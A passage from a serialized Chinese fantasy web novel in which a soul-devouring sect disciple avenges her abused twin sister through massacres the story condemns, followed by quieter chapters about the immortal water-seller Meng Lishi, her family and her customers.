“来府内也有几个月了,规矩什么的怎么一点都没学会,今日我就一点点来教你。来,先教你如何敬茶……”
婢女递来一杯盛满滚烫茶水的杯子,谢新雪正哆嗦着去接,却听见正妻冷声道:“不许碰杯托。”
她脸上更加白了,却只能继续哆嗦着去接过滚烫的茶杯。
奈何她如何忍耐,在触碰到杯子时还是被那高得吓人的温度烫得缩回手,里面的茶水全倾倒出来。
咔擦一声,瓷杯坠入地面,摔得粉碎。
完了,她心道。
“来人,把她的手给我按住,连敬茶这种事都做不好。”正妻厉声吩咐。
“不要……”谢新雪意识到什么,连忙往后缩,却被几个力气大的婢女按住手,任她如何挣都不能挣脱。
她眼睁睁看着那冒着白气的茶水倾倒下来,全浇在自己手上。
“啊!痛!姐姐,呜呜……姐姐!”
夺魂门。
谢既白回到屋中,思索该如何在最短时间内提升实力,只要有法子,她可以付出一切。
目前来看,吞噬其他的魂魄可以让她实力快速提升,但速度还是不够快。
思来想去,她还是将主意打在了二长老的秘密上。
有秘密很正常,夺魂门这种邪门歪道,里面的人各个心怀鬼胎,哪怕身在同一宗门,也要警惕着不要被同门吃掉。
二长老与三长老不对付,她只需将此事告知三长老就可以了,但不能由她直接去说,还要找个人。
师兄消失肯定会有人起疑,到时候有人问起,我就把后院的位置和二长老带出来。
思索好一切,谢既白回到屋中,继续修炼。
白日除了修炼外,便是摸清三长老的行动,果然没过多久,此事被撤下去了,也就是说,这件事进入了上层人眼中。
现在她需要关注的,只是后山的情况。
同时,她开始主动杀人了,夺魂门内的弟子,是彼此的材料,她杀得毫无负担,毕竟她也不知道,什么时候自己就会死在他人手里。
在一次二长老
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外出受重伤的时候,三长老开始行动,破开对方在后山设下的禁制。
二长老有所察觉,连忙赶去。
林中阴影里,还藏着一个谢既白。
看着两大高手在空中打得热火朝天,她估摸着局势,二长老会死在三长老手中,三长老也将受不小的伤。
只求到时自己运气好些,获得个长老级的宝物,有了它她便立马下山去找妹妹,哪怕逃命她也要和对方一起。
她收回思绪,看向空中,二长老的身体一半已经化作血水,里面的骨头吊着血红色的肉丝,在空中飘荡着。
而对方还在僵持着,将拉出身体三分之一的魂体夺回。
真难杀……谢既白心道,这个时机也不好找……
终于,三长老使出最后一击,一举抽出二长老的魂体。
他落回地面,重重咳嗽两声,咳出发黑的血块。
谢既白不由得想,如果此时自己偷袭,胜算有多少,但这一想法刚冒出头又被她压了下去。
即使对方受了重伤,也不是她能打得过的。
“咳咳,呕——”
三长老猛地躬身,吐了起来,看来刚才那一战比他以为的要麻烦。
谢既白念头微动,连忙跑开,她要将后山封印的毒蛟释放,而三长老这种强者的血肉,肯定深得它的喜欢。
说干就干,她轻松来到毒蛟被封印的地方,祭出两个魂幡,思索她偷听来的方法,开始解封。
霎时间,她周围雾气涌动,发丝翻飞,封印结界下传来怒吼。
以谢既白的实力,只能将封印解开一半,但这也足够了,足够对方破开而出。
做完这一切,她连忙收敛气息躲藏起来,很快,地面裂出巨大的断痕,恍若死神张开的嘴巴。
一道深色蛟龙直冲而出,嘶吼着,带着红色的巨大眼眸扫视周围,却没能有所发觉。
此时的谢既白早已回到三长老那。
正闭目调息的三长老豁然睁开眼,他感受到一股如山倾倒般的威压,慌忙站起。
一抬头,与毒蛟对上视线。
谢既白也不管对方是要打还是要跑,反正她的计划达成,迅速冲进二长老打造的小世界拿宝物去了。
刚跨过那道石门,周围的一切如涟漪般荡开,一个极其宽阔的平台出现在脚下。
谢既白视线左右一扫,发现三口棺材,被铁链束缚着。
她不经想起平日间的传闻,据说二长老偷走了夺魂门上任宗主和其他长老的尸体,独创出新的功法。
疯狂是挺疯狂的,但这不是谢既白在意的。
她视线快速锁定一本秘籍,刚走过去触碰到,洪流般的知识钻入她脑海,似乎要把她的脑袋挤爆。
思绪一下清明一下混沌,一片雾气中,她看见了几个字——
“万魂练体……”
“以自身为容器……”
更多的知识涌入,让她无法看清。
许久,她怔然回神,后背全是冷汗。
不管了,先把东西带走,离开这里!
谢既白迅速将其余东西扔进乾坤袋里,不过是些武器和不知名的药剂。
她刚踏出洞穴,便见空中毒蛟与数十位夺魂门内高手对峙,本想趁此混乱赶紧跑,却没想到早有人发现不对劲,一击射来。
78. 双生姐妹(3)
谢既白急急躲避,眼见更多攻击落下,她连忙召出魂幡,凝聚黑色旋涡,将投来的攻击吞噬。
“叛徒,哪里逃!”长老们还在对付毒蛟,弟子们便前来捉拿一看就有问题的谢既白。
事到如此,谢既白也无法隐藏,只能硬拼出去。
奈何对付数量太多,很快她便被包围,四处无路。
她咬着牙,不甘于此,握着魂幡的手指发白。
这时,她脑袋突然刺痛,手里的魂幡散发出浓重的雾气,钻入他体内,就连被她隐藏的另一根魂幡也豁然现身,将收容的魂体传给对方。
谢既白顿时觉得全身心都在痛,脑袋像有无数针在扎一样,好多人挤在她脑子里,就要爆开。
砰!咔擦!
茶杯突然掉落地上,谢新雪捂着脑袋,痛得在地上打滚。
“夫人,夫人!来人了,叫大夫……”
“吵吵什么呢?”门外走进一个婢女,神色淡淡地扫了眼在地上捂着脑袋直惨叫的人,不屑道:
“别以为有了身孕就把自己当主子了,我家夫人可说了,是死是活都不许离开这间屋子。”
“我……”谢新雪气息微弱地看向来人,就一会时间,汗水已经将她鬓发打湿。
“我没事……”
她知道,是姐姐出事了。
两把魂幡内的魂体全都钻入谢既白体内,她在痛苦惨叫中渐渐清醒过来。
“别,别说了!”
她愤怒地捶打脑袋,感觉自己被扔进了万人中间,无数声音在她耳旁争相念叨。
“这,这是怎么回事?”前来围剿的领队弟子下意识后退一步,神色中带着惊恐。
“我明白了,原来是这样……”谢既白喃喃张开手,突然抬头看向面前一群人,自语似的说道:
“一定是因为魂体不够,才会这么吵,只要我……”
她的眼中慢慢染上红色,嗜血的红色。
这场围捕很快反转,正在空中与毒蛟死斗的几位长老察觉下方动静,投来视线,眼睁睁见一个仿若从地狱爬出来的人影子般忽隐忽现。
一时间,她握住一名弟子的脖子,右手一抬直接将其魂体抽离出来。
而下一秒后,她又出现在另一个地方,继续抽离魂体。
惨叫声此起彼伏。
“专注,收,封!”
宗主大喝一声,与其他几位长□□同将毒蛟再次封印。
谢既白停止了杀戮,因为能杀的人都已杀完。
她没傻到要和上面的人硬碰硬,当即转身逃遁。
而刚跑出没几米,一道浓雾凝聚成的厚重的墙阻挡在身前,拦去了她的去路。
“受死!”
一只巨大无比的手压来,谢既白左右避让,眼见就要逃开,侧方再次凝聚出一面墙。
砰!
谢既白陷入了黑暗,不知时间过去多久,等到她睁开眼时,发现自己被封印在一个圆台内,圆台四周是刻有诡异花纹的石柱。
圆台外,几个长老正商量该如何处置她,把她炼化作武器,还是炼化成傀儡。
谢既白闭了闭眼,感受自身变化,她发现,只要自己再吞噬些魂体,实力还能更加强悍。
她看向外面几人的视线带上了些打量,但她明白,自己没办法吞噬他们,不过……
她可以吞噬他们手中魂幡内的魂体。
无论他们要怎么对付自己,只要把结界打开,哪怕只有一秒,也足够她吞噬魂体提升实力破开结界。
如果结界破开她不能恋战,必须马上离开夺魂门。
她记得夺魂门往东一段距离是万方城,不知道她妹妹在不在那里。
垂头思索间,看起来资质最长的老者来到谢既白身前,道:“你从二长老那里拿到了什么,交出来,可保你全尸。”
“一段记忆。”谢既白暗笑一声,胡扯道。
“记忆?”老者微微皱眉,向身后看了一眼,又问:“什么记忆?”
谢既白惊恐摇头:“我一旦说出,就会死去。”
老者摸着胡须,低声道:“确实像二长老设的禁制。”
“那段记忆里肯定藏有他的独创功法,不然直接抽取她的魂体询问。”
谢既白正要想办法避开,就听面前老者说:“不可,恐怕这禁制是深入灵魂的,得用其他法子。”
“这样的话,炼成傀儡也是不行的了。”另一人道。
“那你们说,该当如何?”
谢既白紧张地看着面前三人,见最前面的人看向自己,开口道:“不如,我们做个交易。”
“什么交易?”谢既白紧张道。
“你用行动暗示我们那段记忆里包含的功法,我们给你一切你想要的,如何?”
谢既白心中冷笑,敢问世间谁敢与夺魂门的人做交易,这不自寻死路。
“行,我只想要魂体,很多很多魂体。”
“没问题,但得先让我打上标记。”
老者右手一挥,一枚印记钻入谢既白眉心,直入她的魂体。
谢既白意念一动,随便挪动体内多到数不清的魂体,让印记成功打上去。
“来。”老者将自己的魂幡取出,道:“里面有五千魂体,可够?”
谢既白嗤笑一声,看来他们根本不知道那功法到底藏着什么秘密。
“不够。”
几位长老皱眉,犹豫是不是对方的诡计,但一想印记已经打入对方魂体,应当不会有错,便也拿出自己的魂幡。
谢既白扫视一眼,运转体内魂力,开始吸取。
旁边几位长老专注看着,想来这动作内就包含着那功法。
谢既白感受到实力的飞速增长,等吸完最后一个魂体,她右手一抬,一击轰出!
“不好!”老者连忙捏诀。
谢既白额间印记闪烁着,体内某个部位好像被一根绳拉扯着,剧烈疼痛。
“呵!幸亏我早有准备。”
老者还没笑完,听见面前的人发出呵呵笑声,接着,便见对方从自己体内扯出一个魂体,而那魂体眉心正有他设下的印记。
谢既白右手一抬,直接将这魂体捏碎。
砰的一声巨响,她打翻众人,快速离开此地。
那群老不死的被我阴了几次,应该不敢擅自追上来,当务之急还是先找到小雪,先从万方城开始找。
经过刚才那一战,谢既白发现自己的身体更像一个容纳魂体的容器,就跟魂幡一样,只是不知道还能容纳多少。
正飞在万方城空中,她腹部骤然一痛,急急坠落在巷子深处。
“这是……小雪……”
她青筋皱起,扫视周围,放出魂识探查。
赵府内。
被赵府正妻派来的产婆一脸冷漠道:“别哭了,你家夫人身子弱,这下又落了胎,神仙都救不回来了,还是早些处理后事吧。”
谢新雪身下一片血迹,看着骇人得慌。
“好歹也是条人命,如何这般凉薄!”谢新雪身边,还是有婢女看不下去,小声反驳。
“这世界就是吃人的,也不想想是不是自己前世造了什么孽……”
说着说着,产婆身形忽然僵住,仿佛有一条毒蛇从背后蔓延上来。
她身旁的婢女未发现不对,嫌弃道:“赶紧将这些污秽之物扔掉,我家夫人马上就要过来了,可不能脏了……”
说到这里,她也说不出话来。
骤然间,天地一片黑暗,乌云笼罩高空,阴风四起,来自地府的鬼魂在众人耳边哭喊尖叫。
“啊!怎么回事!”婢女吓得跌倒在地,得不到任何回话。
谢新雪躺在床榻上,用尽全力呼吸着,她侧过头,鬓角的头发粘在脸庞。
恍惚中,她好像看见一个熟悉的人影,呢喃道:“姐姐……”
噼啪!
一道闪电瞬间照亮天空,烛火跳动着,突然变成了幽绿色。
产婆大惊:“鬼——”
她还没喊完,猛地被一股力掐住脖子。
众人视线内,一个浑身冒着黑气的女人鬼魅般突然出现,她长发披散,眼眸血红,恍若山间恶兽,人间恶鬼。
但更让人惊恐的,是,是对方竟与屋中滑胎的小妾长得七八分像!
“就是你们,欺负我妹妹?”谢既白森然开口,此时,她所有理智都被体内数不清的鬼魂啃食,脑海里只剩下怒火。
“我,我……”产婆张着嘴,说不出话来。
咔擦!
下一刻,她维持着惊恐的表情,脑袋被硬生生扭下来,体内的魂体飘出,被谢既白张开嘴,轻轻吸入。
“啊啊啊!”
婢女四处逃窜。<
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p>谢既白没急着收拾她们,她走进屋中,一片血腥味里,终于,看见了她许久未见的妹妹。
“我就知道……”谢新雪扯出一抹笑来,“姐姐会来救我。”
谢既白握住对方泛凉的手,语气前所未有的温柔:“别怕,姐姐会给你报仇,把欺负你的人都杀掉。”
望着对方完全不同于以往的模样,谢新雪努力点头,眼角滑落泪珠,用尽力气道:
“姐姐变得好厉害,但是……但是记得,不要,伤害无辜的人……”
源源不断的灵气从谢既白体内输送给对方,她一边着急地在乾坤袋里翻找治疗的药剂,但没有……
夺魂门内没有治疗药剂的概念,他们意识里只有屠杀和疯狂。
谢既白现在又是人不人鬼不鬼的样子,体内灵气枯竭,早已被魂气取代,浑身还透出冰冷至极点的鬼气。
渐渐的,她感受到手里的温度在降低,情急之下,一把将对方的魂体抽出,放入自己体内最安全的地方。
“没事的,只要魂体还在,姐姐就能救活你。”谢既白轻声道。
她站起身,走出屋外,循着活人的气息,一步步来到大堂,看见聚在一起发抖的赵家人。
“鬼,真的是鬼啊!”正妻尖叫着晕了过去。
没有去听或是求饶或是惊恐的声音,谢既白抬起手,无数魂体从体内钻出,伸出尖锐的指甲扑向赵家人……
正妻被耳边炸裂般的惨叫声惊醒,她刚慌忙坐起身,看见的便是脖子一百八十度旋转的老爷。
“啊啊!”她吓得连连后退,一下子碰到什么冰冷的物体。
那股冰冷透过她的皮肤一直透到骨髓里,让她想尖叫都做不到。
她僵硬着扭过头,看见与谢新雪一模一样的脸。
“不,不要杀我……求求你放过我,我,我知道错了……”
“你知道错了?”谢既白躬身。
对方连忙点头脸上的泪水将妆容染花。
“不,你是知道怕了。”谢既白笑着说出,看见对方脸色白得犹如一块丧布。
她一把手伸出,缓慢地抽出对方的魂体,让对方在魂体剥离中感受到极致的痛苦,就算是魂体,她也有的是法子折磨对方。
“万魂炼体……一个赵府哪够?”
“所以,万方城才变成这个样子?”孟梨食问,“那一万魂体你凑够了吗?”
“之前凑够了,但是我炼体失败,正在重来。”
“那不就是又要一万人!”江余客直接跳脚,“你这个……绝对不行,我绝对不会让你去做的!”
“要我说,放弃吧,你妹妹的魂体和你的身体都坚持不到那一天了,”孟梨食诚恳道,“而且,你妹妹也不希望你这样做。”
见对方不说话,孟梨食食指微勾,谢既白体内的红线再次浮现,一道魂体从她体内飘出。
谢既白下意识去抓住对方。
“姐姐。”魂体彻底脱离她的身体,谢新雪缓缓睁开眼,开口道。
“对不起,姐姐没用。”谢既白红着眼睛去摸对方,却什么都没摸到。
“我的任务是卖水,而你们的因果和惩罚,在后面呢,背负上万条人命,就算是神仙来了都无法饶恕。”孟梨食认真道。
“我不在乎这些。”
孟梨食呵的一声道:“因果线连,你妹妹身上同样背着债果。”
谢既白脸色白了,“不,这和她没有关系……”
“那些无辜死去的人和你妹妹的死就有关系吗?”孟梨食突然厉声道,“你需要一万个魂体,大可以去找一万个罪孽深重的人。”
“这水,想来二位也是不愿喝的,我就不多费口舌吆喝了。”孟梨食站起身,“珍惜这最后一天吧,明日便会有宗门来清除你们。”
江余客站起身,他好像是第一次见孟梨食这么生气,连忙追上去。
谢既白与谢新雪互相看着,眼角纷纷流下了泪水。
就在孟梨食走出万方城城门时,灵感突有所觉。
“那对姐妹自爆了。”小魂点明道。
“嗯,你给地府传个信,让他们多派些人为这些魂引路。”孟梨食没用回头。
眼见对方快步离开,小魂凑到江余客身旁,忍不住道:“感觉她对情感的感悟更加深刻了。”
“不知道这是不是好事。”江余客却道。
79. 全家团圆
一晃十多年过去,孟梨食依旧生活在人间,小魂对于回到地府已经没了希望。
但实话实说,在人间也挺好的。
几人一路追踪一伙盗窃者而来,这群盗窃者都是修仙者身份,实力不容小觑,料如此,孟梨食还是躺在树枝上,悠闲地啃着果子,半点下去帮忙的意思都没有。
“你就这么相信他的实力?那可是有一位筑丹期的。”小魂忍不住开口。
“急什么,打不过不是还有帮手吗?”孟梨食懒洋洋道。
“嗯?帮手?”
小魂还没琢磨出对方话中意思,下面的江余客已经被三个人围在中央,就算他手中那把无寞剑再怎么厉害,他终究只是个凡人。
江余客咬着牙死扛下这一击,余光见孟梨食还躺在树枝上,心里不经奇怪,难道对方认为自己能打败他们?
想到这,他信心倍增,又使出几分力,竟将三位修仙者轰开。
“剑诀,起罡风!”
修仙者口中轻念,霎时间,一道罡风横扫而来,江余客正要侧身避开,一道身影降在身前,直接抗住这一击。
面前的人长剑一扫,金色光芒绽放,一击将敌人轰退。
江余客在打斗中难得有些怔愣,他看着面前少年人的背影,越看越觉得熟悉,还有对方手中的那把剑,也是怎么看怎么熟悉。
直到孟梨食从树枝上跳下来,随手将果核一丢,走过来道:“回来了?”
“娘,爹,魂叔,我回来了!”江黎客转过身,笑道。
“黎客!”江余客满脸震惊,两秒后才反应过来,一把将人抱住。
“你怎么找到我们的?哦对,靠因果线,一路辛苦了。”
孟梨食走过来,笑着看着这对父子俩。
江黎客又扑进孟梨食怀里,他比孟梨食高出许多,微微弯着腰,“娘,我好想你们。”
“这是出山了还是出来执行任务?”
“出山了。”江黎客直起身,“我只想当个侠客,又不想修仙,没必要继续学下去了。”
“你不要冲动,”江余客凑过来,认真道,“真想好了,放弃继续修炼的机会?”
“想好了。”江黎客一脸理所当然,“我从小的梦想就是像爹一样,成为一名侠客,浪迹天涯,路见不平拔刀相助!”
“好样的!”小魂“啪叽”一声落在江黎客头顶。
“不用担心。”孟梨食熟练地握住江余客的手,“孩子有自己的选择。”
江余客沉默良久,很想与儿子促膝长谈一番,又被孟梨食的话惊醒,扭头看向她。
孟梨食熟练地把对方脑袋放在自己肩膀上,安抚性地拍拍:“你不想听儿子聊聊这些年发生了什么吗?”
江黎客一脸震惊地收回视线,看向小魂:“魂叔,我爹娘……”
“习惯就好。”小魂悠悠道。
“好了,”孟梨食将江余客的脑袋推开,对众人道,“这里荒不着村野不着店的,咱们去最近的镇子上吃顿好的……话说你没有辟谷吧?”
她最后一句问的自然是江黎客。
后者笑道:“没有呢,不是有句话说的好嘛,世间唯有真情与美食不可辜负!我还想着爹的烤鱼呢!”
“好,等路过了河边我就给你烤一条。”江余客看起来很是高兴。
几人没走出多远,远远地听见有人在喊卖水人的名号。
孟梨食顿住脚,看见两团影子风一般朝自己滚来,她还没做出回应,江余客和江黎客已经挡在她身前了。
诶?这是干嘛?
“我看起来很弱吗?”孟梨食将两人推开,“而且来的是熟人。”
两团影子在距离孟梨食一米时堪堪停下,定睛一看,原来是两只虎妖。
“诶?”其中的女生看向江黎客,脑子上缓缓冒出一个问号:“多年不见,你儿子这么大了?”
“是啊。叫虎姨。”
江黎客连忙乖声喊道:“虎姨好,呃……虎叔好。”
“我累个乖乖,长这么大了,还记得我不?你小时候我还抱过你嘞!”
“啊……不,不记得了。”
孟梨食忍着笑问:“你们来找我做什么?”
“哦对。”虎姨一脸愤怒地指着身旁虎妖道:“我要忘掉他,我真是倒了八辈子血霉和他在一起!”
“我才是倒了大霉遇见你!”对方反指回来。
“哦,所以你们都要找我买忘情水忘掉对方?”孟梨食挑眉。
“对!”
“没错!”
孟梨食微扶额头,“可是你们之前已经在我这里买过了,一人一生只能买一碗。”
“什么?”虎姨睁着眼睛,很快恍然,指着对方道:
“我就知道你忘不掉我,喝了忘情水还不是和我在一起了。”
“喝水的是你吧,你才是忘不掉我。”
眼见两人又要争吵起来,孟梨食道:“两人都喝了啊。”
“就是你,你果然喜欢我喜欢得忘情水都没了作用。”
“是你喜欢我才是,你就是嘴硬。”
两人压根没去注意孟梨食说了什么,吵吵闹闹地跑开,徒留在场几人在风中凌乱。
“啊?娘,虎姨和虎叔都喝了忘情水吗?”
“喝了。”
“那为什么……”
“忘情水又不是万能水,忘掉的是记忆,对于感情的记忆,到时候再把感情培养起来就好了。”孟梨食声音难得温柔起来。
“这样啊,可是……如果人不在了还能将感情培养起来吗?”
“因为一个遗物,向周围人了解它主人的故事,然后爱上那个逝去的人,这种情况也不是没有的。”
眼见着江黎客还要再问,孟梨食忙道:“走吧,赶紧趁天黑下来前去到镇上。”
几人在附近的镇上找了客栈解决午饭,雇了马车去最近的城中好好玩耍放松一番,准备继续往前闯荡,等到天寒了再往回走,回到小泽野边的院子里。
江黎客是彻底黏在这里了,一下子让孟梨食等人觉得,好像又回到许多年前,抱着小小的他到处闯荡的时候。
因为许久未回去,路途遥远,今年又有了江黎客,所以不过九月中旬几人便倒转马头,开始回程。
等花了一月多到达时,天气也渐渐转凉。
“所以嘛,这么冷的天,就不要捉鱼了呀。”孟梨食嘟囔道,却依旧躺在躺椅上没动。
在一旁生火的江余客闻言,看了湖里兴奋抓鱼的江黎客一眼,笑道:
“孩子喜欢嘛,而且他好歹是修仙者,身体没这么差。”
“最好是这样。”孟梨食打了个哈欠,视线从江余客身上挪到湖边捉鱼的江黎客身上。
哗啦——
江黎客抱着条黑色鲤鱼,朝岸边展示道:“今晚吃这条!”
嗯哼,这种生活还不错。
“要炒点什么吗?”小魂拿着把铲子出来,“光吃鱼吗?我煮点汤吧。”
它说着,也没希望有人回答它,左右扫了一眼,又钻进厨房。
孟梨食视线左瞥,看见只剩花枝的花圃,看起来光秃秃的,但等到冬天彻底来临,被雪覆盖上,也会好看些,再等到来年春天,就又有生机了。
等到鱼烤好,香味弥漫出来,孟梨食才慢吞吞离开躺椅。
“不错。”她看了一圈,评价道。
有了她这句赞扬,江余客和江黎客顿时兴奋起来,得意得不行。
小魂:“……”
“诶,爹,你有了胡子也很俊朗。”
“是吧。”江余客摸着自己胡须,还没
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感受两秒又放开手,无奈道:
“可你娘不喜欢啊,有胡须了就不让我亲她,说是扎脸。”
江黎客只能微笑,小魂也只能微笑。
小魂拿来酒放在炉子上,看了众人一眼,突然说:“生活就这样平淡下去了哦。”
“当然!”众人齐声回答。
于是,几十年过去。
“你还想闯荡江湖啊。”孟梨食抱臂看着在前面商量去哪逞凶除恶的两人,颇有点心累。
江余客猛然回头,一脸备受打击的模样:“梨食,你是觉得我老了吗?”
“诶,没,没有,绝对没有,真的没有!”
孟梨食受不了了,一把走过去抱住对方,叹气般地道:“走走走,想去哪我都陪着你。”
江黎客在一旁捂嘴偷笑,注意到孟梨食投来的视线,眼咕噜一转,道:
“诶,听说焚天宗的浴火珠被盗了,我们去把它找回来吧。”
“这个不错,有难度。”江余客噌的从孟梨食怀里抬起头,“就它了!”
“你们俩确定?”小魂一脸震惊道,“焚天宗可是大宗门,浴火珠可不是一般神器,能盗走它的肯定实力不一般背景不一般,咱们别去凑热闹了。”
孟梨食呵呵一笑,右手食指微勾,对明显垂下脑袋的两人道:
“抢回珠子是不可能的了,不过可以去做个交易。”
“那也不错。”
“我看他们俩就是想去凑热闹。”小魂对孟梨食耳语道。
孟梨食笑笑,她哪里会看不出,其实接下来遇见的这对人,忘情水根本卖不出,不过带这爷俩去看看罢了。
往北上直走,约过半月马车车程,可以遥遥看见一座高耸雪山,称之为凝寒山。
“娘知道盗取浴火珠的人在哪吗?”
“你瞧。”孟梨食扬扬下巴。
便见那常年覆雪的凝寒山上,一只火红的身影快速盘旋着,尾后拖着长长的火翼。
“哇,那是火凤凰!”
“它这是想干嘛?想把凝寒山上的雪融掉吗?”江余客问。
“恐怕是这样,这可不太妙。”
孟梨食轻声道,她伸出右手,像是抓住了什么,又缓缓松开。
极远极高的地方,火凤凰盘旋的动作微微停顿,它向下看了一眼,尖啸一声朝孟梨食等人飞来。
还有极远的一段距离,江余客等人便感觉到一股热浪袭来。
江余客只得抬起无寞剑,用阴寒之气抵挡。
火凤凰落地后迅速变成人形,是个穿着干练的女子。
对方朝孟梨食行了一礼,道:“不知卖水人唤我何事?”
“你想用浴火珠融掉凝寒山上的雪?但这是救不出里面的人的。”孟梨食开门见山道。
“什么!”对方神色微愕,旋即拱手道:“不知您有何高见。”
几十年过去,孟梨食也喜欢上了慢吞吞说话,闻言缓缓吐出一个字:“等。”
“等这凝寒山融化吗?那要等到何时去?”火焰在对方眼眸中跳动。
“你陪着他睡一觉就好了。”孟梨食笑笑,“或者,你需要一碗忘情水?”
对方如见毒蝎般往后退:“这倒是不用了……也许,也许我懂了,多谢!”
她再一拱手,后退一步,化作浴火凤凰,盘旋升高。
这一次,她只围绕凝寒山飞行一圈,便下定了某个决心,收敛住全身火焰,直直坠下。
途中,一颗血红色的珠子升高,按照某个轨迹回到它应该待的地方。
凤凰陷入雪层中,很快被雪覆盖,世间再次变得安静而冰冷。
孟梨食遥遥看着,眼中闪过一抹微光。
她看见,隔着一层薄薄的冰,两个人面对面沉睡着,跳动的心跳会将彼此唤醒。
80. 分离
许多个寒雪季之后,江余客的心跳停止了。
身为一个凡人,活到一百多岁已经相当厉害,尤其是前一天还陪着孟梨食去山上散了步。
他是在睡梦中离去的,没有一丝痛苦。
屋外风雪很大,孟梨食握着对方的手,突然想起昨天散步时,对方玩笑似的话。
他说:“如果我的离开让你很难过的话,就喝一碗忘情水吧。”
孟梨食也玩笑着回答:“好,我一感觉难过了就喝。”
小魂和江黎客在外面处理后事,江黎客沉默着,突然说:
“我现在才明白,为什么爹这么希望我去修仙。”
小魂看向他,听见他说:“他希望我能多陪陪娘,可是我,我的寿命也不过两百年。”
“分离是必然的事情,孟梨食比你们都清楚。”小魂回道。
“……魂叔,我有没有喝过忘情水啊?”
小魂陡然一惊,旋即脸色自然道:“没吧,你小时候应该没偷喝过吧。”
“哦……魂叔,要是以后我走了,你记得劝我娘喝水,我怕她脾气犟,不喝。”
“嗯,我会劝的。”
几人忙活到天亮,等到还没冬眠的或者冬眠了被叫醒的动物来祭奠过,便彻底向这个世界告诉,有个叫江余客的人离去了。
入土为安后,几人围坐在火炉旁,孟梨食面无表情地喝着酒,就在这时,空中浮现一道光影。
通往地府的门打开了。
孟梨食没动。
小魂看过去,仿佛在倾听某个人说话,微微点头,对孟梨食和江黎客道:
“我得走了,那个,梨食,虽然你卖出了一百碗忘情水,但你依旧没能完全感悟到百情百苦,还不能回去。”
“正好,我暂时也不想回去,再见。”孟梨食头也没回道。
“魂叔,你也要走了吗?”江黎客不舍地站起身。
“是啊,彼岸花圃我好久没打理了,顺便,再替你们最后送一送江余客。”
孟梨食神情微动,似乎想站起身,却硬生生控制住了。
江黎客和小魂不约而同看向她,没说什么。
于是,江余客离去的第二天,小魂也回归地府。
江黎客沉默地坐在孟梨食对面,两人中间隔了个火盆,火舌舔舐跳动在两人乌黑的眼眸中。
江黎客知道,娘是担心自己才不回去地府,可等待娘的,不过是一百多年后的另一场悲剧。
就像一场缓刑。
孟梨食不太想出去走动了,她可以在家里等待江黎客逞凶除恶回来,虽然往往是好几个月。
江黎客也在尽可能陪着对方。
一个人的时候,时间的流逝是没有感觉的,往往一晃神,很久就过去了,但具体是多久,孟梨食也不知道。
迷迷糊糊间,她听见有人在唤她“卖水人”。
自江余客死后,她已经不主动出去卖水了,不过却有一些知道情况的主动来找她买水。
孟梨食坐起身,走出屋外,愕然发现外面已是春天,院子里的花吐出了花苞。
她左右看看,扫过门前的穿着淡绿色衣裳的男人,没看见黎客,想来还没回来。
“坐吧。”孟梨食朝对方抬手,示意到院子里的石桌前坐下。
她一把扫过上面的枯叶,自行坐下,问道:“发生了什么?”
“拜见卖水人大人,我叫空新,是天庭的一位树精。”
“天庭的?”孟梨食眉头微挑,“给谁买?”
“不,不是买,是想请问您,如果不小心喝了忘情水,该怎么办?有什么弥补的办法吗?”
误喝?这种情况孟梨食还是第一次遇见,难得提起些兴趣,道:“详细说说。”
“是。我本来该在几十年前就来找您的,但我实力不够,在最后一场神魔战时与她双双陷入沉睡,所以……”
孟梨食“嗯”了一声,心里估摸着时间,几十年前,最后一场神魔战,那时,江余客应该还在……
几十年前,天庭。
“天尊,那火凤凰要去融了凝寒山,这该怎么办啊!”
天尊捂脸道:“我正烦着呢,又出这件事。”
他抬起右手,眯眼算着什么,几秒后道:“不用管她,有人能劝住她。”
对方一时不知道该问是谁有这个本事劝她,还是该问让天尊烦心的另一件事是什么。
但很快,天尊自己开口了:
“霜染和那魔尊到底是怎么回事?这是要打还是不打?”
“啊?”
这时,派出去的一位穿戴盔甲的将士突然出现,朝天尊行了一礼。
“结果怎么样?她到底喝没喝?”天尊一脸纠结地问。
对方恭敬回答:“属下问了霜染上神洒扫庭院的婢女,看见那日上神回来后手中确实是端了一个碗。”
“对,肯定就是那个在卖水人那里买的忘情水,她喝了吗?”
对方回道:“那些婢女都没看见霜染上神喝没喝,属下就换了个法子,去问了上神庭院中的灵植,得知,上神把水倒进花圃里了。”
天尊狠狠吸了口气,“所以,她没喝。”
“没喝。”对方笃定道,:“而且,看霜染上神与那魔尊之后对峙的场景,对方,也……应该是没喝。”
沉默许久,天尊叹了口气:“罢了,随他们吧,只要战争能停止。”
“而被倒了忘情水的灵植,就是我的恋人,她无意中喝了忘情水,虽然记得我,却不记得对我的感情了。”
孟梨食静静听完,想起初见江余客时,卖给魔尊的忘情水。
那时,魔尊说要再去看一眼霜染上神再决定要不要喝水,现在孟梨食有理由相信,对方没喝。
她叹了口气,看向面前的年轻人,道:“忘情水忘掉的只是记忆,忘掉对那段感情的记忆,而感情,是可以再次培养的。”
“所以……所以……”对方怔愣之中有些激动。
“不就是再追一遍嘛,赶紧去吧。”孟梨食朝他挥手。
“是,多谢卖水人,多谢!”
对方兴奋地化作一道烟雾,升入九重天上。
“呵呵!”孟梨食被对方的傻笑逗乐,也不知道自己在乐什么。
她扭过头,看向半个身子隐在墙后的人,道:“这次出去做了什么好事?”
江黎客下意识将身体完全躲进墙后,一秒后反应过来,走出来,问:
“娘,真的没有东西能解忘情水的药效吗?”
“什么药效,忘情水又不是药。”孟梨食纠正一句,接着道:
“有啊,橙色彼岸花粉能解,可我一直觉得,这东西是不存在的。”
孟梨食叹气道:“你魂叔身为彼岸花圃看守者,看守地府的彼岸花圃上百年,也从未见过一朵橙色的彼岸花。
“我也曾不愿相信去寻过,确实没有寻到。
“也许世间真的没有橙色彼岸花,也许,它还没等到它的有缘人。”
孟梨食看过去,见对方听得一脸专注,扯出笑问:“来,说说这次出去又做了什么好事。”
“哦,好。”江黎客老实地坐在石桌对面,一字不落一事不少地开始说。
之后几十年,孟梨食都没再遇到买水人,这一生最后一次遇见,是在又一个几十年后。
依旧年轻的她,和头发已经花白的江黎客,接待了一个垂垂老矣,提着最后一口气来此的男人。
“你想忘掉谁?”孟梨食问。
“我想……让我体内的影妖,忘记我。”老人努力说出话。
“你体内的影妖?”孟梨食眼中闪过一抹微光,看见了跟在男人身后的一道影子,确实是影妖。
孟梨食抬手,给对方输送一丝灵力,让对方有了些力气,能说出他们的故事。
老人缓了口气,流畅地说着:
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>“我叫姚云锦,在我很小的时候,我的爹娘为我寻了个影妖。”
“嗯,”孟梨食点头,“影妖,我知道,一生困在主人的影子里,默默保护他们,直到主人死去才能脱身。”
